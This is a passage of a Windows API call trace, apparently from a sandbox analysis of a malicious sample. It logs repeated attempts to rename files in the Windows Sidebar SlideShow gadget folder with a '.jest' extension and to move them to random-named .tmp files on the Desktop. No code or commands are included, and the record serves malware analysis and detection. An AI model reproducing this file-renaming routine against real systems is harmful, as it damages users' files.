lpFilePart=0x18e6e4*="VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp") returned 0x8e [0127.192] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VkB95HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39426b56, cFileName="5HMRC0H0-lszHBU_qyCXlXKU2bbGUmXeKfopzbzbUBjKjfuw0EdqBGbQ2cseFS35AwQuV7WteWrRuvFs5h y6q-XOFLqeGBc.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.192] GetLastError () returned 0x2 [0127.192] GetLastError () returned 0x2 [0127.192] SetLastError (dwErrCode=0x2) [0127.194] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.194] GetTickCount () returned 0x11523d6 [0127.194] GetTickCount () returned 0x11523d6 [0127.194] CoFreeUnusedLibraries () [0127.194] GetTickCount () returned 0x11523d6 [0127.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.194] GetTickCount () returned 0x11523d6 [0127.194] IsWindowVisible (hWnd=0x30268) returned 0 [0127.194] Sleep (dwMilliseconds=0x0) [0127.195] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css.jest")) returned 0 [0127.195] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e6d8*="settings.css") returned 0x56 [0127.195] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x57, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0x143ce48 [0127.195] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.196] VarBstrFromR4 (in: fltIn=0x47944588, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.06") returned 0x0 [0127.197] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.197] GetTickCount () returned 0x11523e6 [0127.197] GetTickCount () returned 0x11523e6 [0127.197] CoFreeUnusedLibraries () [0127.198] GetTickCount () returned 0x11523e6 [0127.198] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.198] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.198] GetTickCount () returned 0x11523e6 [0127.198] IsWindowVisible (hWnd=0x30268) returned 0 [0127.198] Sleep (dwMilliseconds=0x0) [0127.199] GetFullPathNameA (in: lpFileName="frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp", lpFilePart=0x18e708*="frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp") returned 0x8d [0127.199] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css", lpFilePart=0x18e708*="settings.css") returned 0x56 [0127.199] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\frjj18gxzlqi j7jtu2le43s8nm gk8k7hofdhhfm4t-yfbqtcdegt 1jsuliee_3ebksv8xgjmwh1po44bzvwyzxqld4bvdczd.tmp")) returned 0 [0127.200] GetLastError () returned 0x5 [0127.200] GetLastError () returned 0x5 [0127.200] SetLastError (dwErrCode=0x5) [0127.200] GetLastError () returned 0x5 [0127.200] SetLastError (dwErrCode=0x5) [0127.200] GetLastError () returned 0x5 [0127.200] SetLastError (dwErrCode=0x5) [0127.200] GetFullPathNameA (in: lpFileName="frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp", lpFilePart=0x18e6e4*="frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp") returned 0x8d [0127.200] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frJJ18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4a4a7266, cFileName="18gXZlQi J7JTu2le43s8nm gk8k7HofDHhfM4t-yfBQtCdeGT 1JsULIee_3EBKSV8XgJmwH1po44BzVwYzXQLD4bvDczD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.200] GetLastError () returned 0x2 [0127.200] GetLastError () returned 0x2 [0127.200] SetLastError (dwErrCode=0x2) [0127.201] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.201] GetTickCount () returned 0x11523e6 [0127.202] GetTickCount () returned 0x11523e6 [0127.202] CoFreeUnusedLibraries () [0127.202] GetTickCount () returned 0x11523e6 [0127.202] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.202] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.202] GetTickCount () returned 0x11523e6 [0127.202] IsWindowVisible (hWnd=0x30268) returned 0 [0127.202] Sleep (dwMilliseconds=0x0) [0127.203] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png.jest")) returned 0 [0127.205] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", lpFilePart=0x18e6d8*="blank.png") returned 0x50 [0127.205] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x57, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 0x143ce48 [0127.206] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.208] VarBstrFromR4 (in: fltIn=0x4794458a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.08") returned 0x0 [0127.208] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.208] GetTickCount () returned 0x11523e6 [0127.208] GetTickCount () returned 0x11523e6 [0127.208] CoFreeUnusedLibraries () [0127.208] GetTickCount () returned 0x11523e6 [0127.208] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.208] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.208] GetTickCount () returned 0x11523e6 [0127.208] IsWindowVisible (hWnd=0x30268) returned 0 [0127.208] Sleep (dwMilliseconds=0x0) [0127.209] GetFullPathNameA (in: lpFileName="p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp", lpFilePart=0x18e708*="p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp") returned 0x8a [0127.209] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", lpFilePart=0x18e708*="blank.png") returned 0x50 [0127.210] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p2i_lldoiihid5usnngceodx1ffu siocjg1e6dov46udpkzxqjldfgjwi4bubmeofs9lmktud6uqrnqadnngok7yqqw_oeq.tmp")) returned 0 [0127.212] GetLastError () returned 0x5 [0127.212] GetLastError () returned 0x5 [0127.212] SetLastError (dwErrCode=0x5) [0127.212] GetLastError () returned 0x5 [0127.212] SetLastError (dwErrCode=0x5) [0127.212] GetLastError () returned 0x5 [0127.212] SetLastError (dwErrCode=0x5) [0127.212] GetFullPathNameA (in: lpFileName="p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp", lpFilePart=0x18e6e4*="p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp") returned 0x8a [0127.212] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p2i_LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5f693270, cFileName="LlDoiIHID5UsNnGceOdX1FfU SIoCJG1e6DOv46uDPkzxQJldFgjWi4BUbmEofS9lMktuD6UqrNqadNNgoK7Yqqw_OEq.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.212] GetLastError () returned 0x2 [0127.213] GetLastError () returned 0x2 [0127.213] SetLastError (dwErrCode=0x2) [0127.213] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.213] GetTickCount () returned 0x11523f5 [0127.213] GetTickCount () returned 0x11523f5 [0127.213] CoFreeUnusedLibraries () [0127.213] GetTickCount () returned 0x11523f5 [0127.213] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.213] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.213] GetTickCount () returned 0x11523f5 [0127.214] IsWindowVisible (hWnd=0x30268) returned 0 [0127.214] Sleep (dwMilliseconds=0x0) [0127.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png.jest")) returned 0 [0127.216] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", lpFilePart=0x18e6d8*="blank.png") returned 0x4a [0127.217] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x57, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 0x143ce48 [0127.218] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.219] VarBstrFromR4 (in: fltIn=0x4794458c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.09") returned 0x0 [0127.219] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.219] GetTickCount () returned 0x11523f5 [0127.219] GetTickCount () returned 0x11523f5 [0127.219] CoFreeUnusedLibraries () [0127.219] GetTickCount () returned 0x11523f5 [0127.219] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.219] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.219] GetTickCount () returned 0x11523f5 [0127.220] IsWindowVisible (hWnd=0x30268) returned 0 [0127.220] Sleep (dwMilliseconds=0x0) [0127.220] GetFullPathNameA (in: lpFileName="EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp", lpFilePart=0x18e708*="EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp") returned 0x8d [0127.220] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png", lpFilePart=0x18e708*="blank.png") returned 0x4a [0127.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\blank.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\blank.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\exqwf7ifxdtfrmaqisphz0kfcw602cm0w5biz8ehvc87ho rlc-knhid-v2xepvzrrcovnu9yixlshlghstdcesapwoh-8_evra.tmp")) returned 0 [0127.222] GetLastError () returned 0x5 [0127.222] GetLastError () returned 0x5 [0127.222] SetLastError (dwErrCode=0x5) [0127.222] GetLastError () returned 0x5 [0127.222] SetLastError (dwErrCode=0x5) [0127.222] GetLastError () returned 0x5 [0127.223] SetLastError (dwErrCode=0x5) [0127.223] GetFullPathNameA (in: lpFileName="EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp", lpFilePart=0x18e6e4*="EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp") returned 0x8d [0127.223] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EXQwF7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77515845, cFileName="F7IFxdtFRmAqISphZ0KfCw602cM0w5Biz8EhVC87hO RLC-KnHId-v2xEPvzRRCOVnu9YixLsHlGhsTdCeSapwoh-8_Evra.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.223] GetLastError () returned 0x2 [0127.223] GetLastError () returned 0x2 [0127.223] SetLastError (dwErrCode=0x2) [0127.224] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.224] GetTickCount () returned 0x11523f5 [0127.224] GetTickCount () returned 0x11523f5 [0127.224] CoFreeUnusedLibraries () [0127.224] GetTickCount () returned 0x11523f5 [0127.225] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.225] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.225] GetTickCount () returned 0x11523f5 [0127.225] IsWindowVisible (hWnd=0x30268) returned 0 [0127.225] Sleep (dwMilliseconds=0x0) [0127.225] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\next_hov.png.jest")) returned 0 [0127.227] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", lpFilePart=0x18e6d8*="next_hov.png") returned 0x53 [0127.227] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\next_hov.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x57, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 0x143ce48 [0127.228] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.230] VarBstrFromR4 (in: fltIn=0x4794458e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.11") returned 0x0 [0127.230] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.230] GetTickCount () returned 0x1152405 [0127.230] GetTickCount () returned 0x1152405 [0127.230] CoFreeUnusedLibraries () [0127.230] GetTickCount () returned 0x1152405 [0127.230] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.230] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.230] GetTickCount () returned 0x1152405 [0127.230] IsWindowVisible (hWnd=0x30268) returned 0 [0127.230] Sleep (dwMilliseconds=0x0) [0127.231] GetFullPathNameA (in: lpFileName="QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QkWBjMS-TBqWZGpjsM_VbfII8bboIMaRFqriEFSBU-HcTyID_9OI26YlReF2mS0PiqZVUDuOui835cEqpWxyvZMCBxU3i-b9iira1.tmp", 